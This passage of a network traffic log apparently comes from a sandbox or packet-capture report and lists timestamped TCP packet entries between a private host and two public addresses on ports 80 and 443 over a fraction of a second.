Oct 2, 2024 17:17:19.028441906 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.028525114 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.028563023 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.029149055 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.029160023 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.029170036 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.029180050 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.029191017 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.029201031 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.029200077 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.029243946 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.029243946 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.029388905 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.029429913 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.029508114 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.029556036 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.029567003 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.029608011 CEST	65277	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:19.029608965 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.029647112 CEST	443	65277	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:19.029664993 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.029711962 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.029740095 CEST	65277	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:19.029781103 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.029820919 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.030216932 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.030229092 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.030236006 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.030276060 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.030292988 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.030304909 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.030308008 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.030316114 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.030333996 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.030359983 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.030955076 CEST	65277	443	192.168.2.6	104.102.49.254
Oct 2, 2024 17:17:19.030972958 CEST	443	65277	104.102.49.254	192.168.2.6
Oct 2, 2024 17:17:19.031069040 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.031084061 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.031094074 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.031117916 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.031148911 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.031168938 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.031179905 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.031191111 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.031217098 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.031241894 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.031951904 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.032001019 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.032007933 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.032011986 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.032036066 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.032038927 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.032057047 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.032073975 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.032535076 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.032593012 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.032676935 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.032732964 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.032767057 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.032815933 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.032977104 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.033086061 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.033112049 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.033149004 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.033252001 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.033298969 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.033305883 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.033348083 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.033570051 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.033618927 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.033742905 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.033776045 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.033787012 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.033791065 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.033817053 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.033843994 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.033847094 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.033859968 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.033871889 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.033894062 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.033920050 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.034603119 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.034636021 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.034647942 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.034663916 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.034674883 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.034684896 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.034729004 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.034740925 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.034771919 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.034797907 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.034821033 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.036814928 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.036890030 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.036911011 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.036921978 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.036932945 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.036955118 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.037000895 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.037023067 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.037058115 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.037159920 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.037189960 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.037200928 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.037230968 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.037256956 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.037683964 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.037750959 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.037781954 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.037842035 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.037909031 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.037967920 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.038187027 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.038197994 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.038212061 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.038240910 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.038244963 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.038253069 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.038264036 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.038280010 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.038294077 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.039199114 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.039211988 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.039222002 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.039238930 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.039251089 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.039252996 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.039262056 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.039287090 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.039308071 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.039975882 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.039994001 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.040023088 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.040045023 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.040087938 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.040097952 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.040110111 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.040119886 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.040144920 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.040180922 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.040714025 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.040725946 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.040736914 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.040771008 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.040786982 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.040812969 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.040822983 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.040836096 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.040860891 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.040889025 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.041645050 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.041656971 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.041671991 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.041682959 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.041693926 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.041708946 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.041739941 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.042342901 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.042362928 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.042372942 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.042387962 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.042412043 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.042438984 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.042449951 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.042460918 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.042481899 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.042499065 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.043224096 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.043250084 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.043261051 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.043287992 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.043312073 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.043325901 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.043337107 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.043348074 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.043370962 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.043396950 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.044111013 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.044164896 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.044169903 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.044182062 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.044212103 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.044240952 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.044251919 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.044262886 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.044275045 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.044294119 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.044313908 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.044373035 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.044384003 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.044394016 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.044404984 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.044409990 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.044418097 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.044439077 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.044464111 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.044507027 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.044517994 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.044528961 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.044538975 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.044548988 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.044578075 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.045047045 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.045094013 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.045097113 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.045109034 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.045129061 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.045149088 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.045173883 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.045186043 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.045197010 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.045212030 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.045224905 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.045258045 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.045335054 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.045346975 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.045357943 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.045370102 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.045380116 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.045382977 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.045392990 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.045413971 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.045428991 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.045439005 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.045450926 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.045461893 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.045512915 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.045512915 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.046022892 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.046036005 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.046046972 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.046084881 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.046099901 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.046109915 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.046113968 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.046125889 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.046139002 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.046152115 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.046155930 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.046185017 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.046407938 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.046433926 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.046446085 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.046447992 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.046477079 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.046590090 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.046601057 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.046612024 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.046622992 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.046633959 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.046650887 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.046675920 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.046729088 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.046740055 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.046751022 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.046762943 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.046763897 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.046777964 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.046777964 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.046792984 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.046797037 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.046804905 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.046816111 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.046828985 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.046833038 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.046844006 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.046849012 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.046865940 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.046890974 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.047440052 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.047462940 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.047475100 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.047513008 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.047544956 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.047565937 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.047579050 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.047589064 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.047600031 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.047611952 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.047683954 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.047691107 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.047697067 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.047708988 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.047719002 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.047729969 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.047738075 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.047743082 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.047764063 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.047779083 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.047832966 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.047844887 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.047856092 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.047867060 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.047879934 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.047908068 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.048346996 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.048358917 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.048371077 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.048391104 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.048404932 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.048449993 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.048460960 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.048471928 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.048484087 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.048491001 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.048521996 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.048573971 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.048584938 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.048594952 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.048607111 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.048613071 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.048624992 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.048635006 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.048635960 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.048646927 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.048656940 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.048664093 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.048669100 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.048681021 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.048713923 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.048778057 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.049036026 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.049220085 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.049381018 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.050225019 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.050285101 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.050358057 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.050369978 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.050380945 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.050391912 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.050403118 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.050416946 CEST	65273	80	192.168.2.6	46.8.231.109
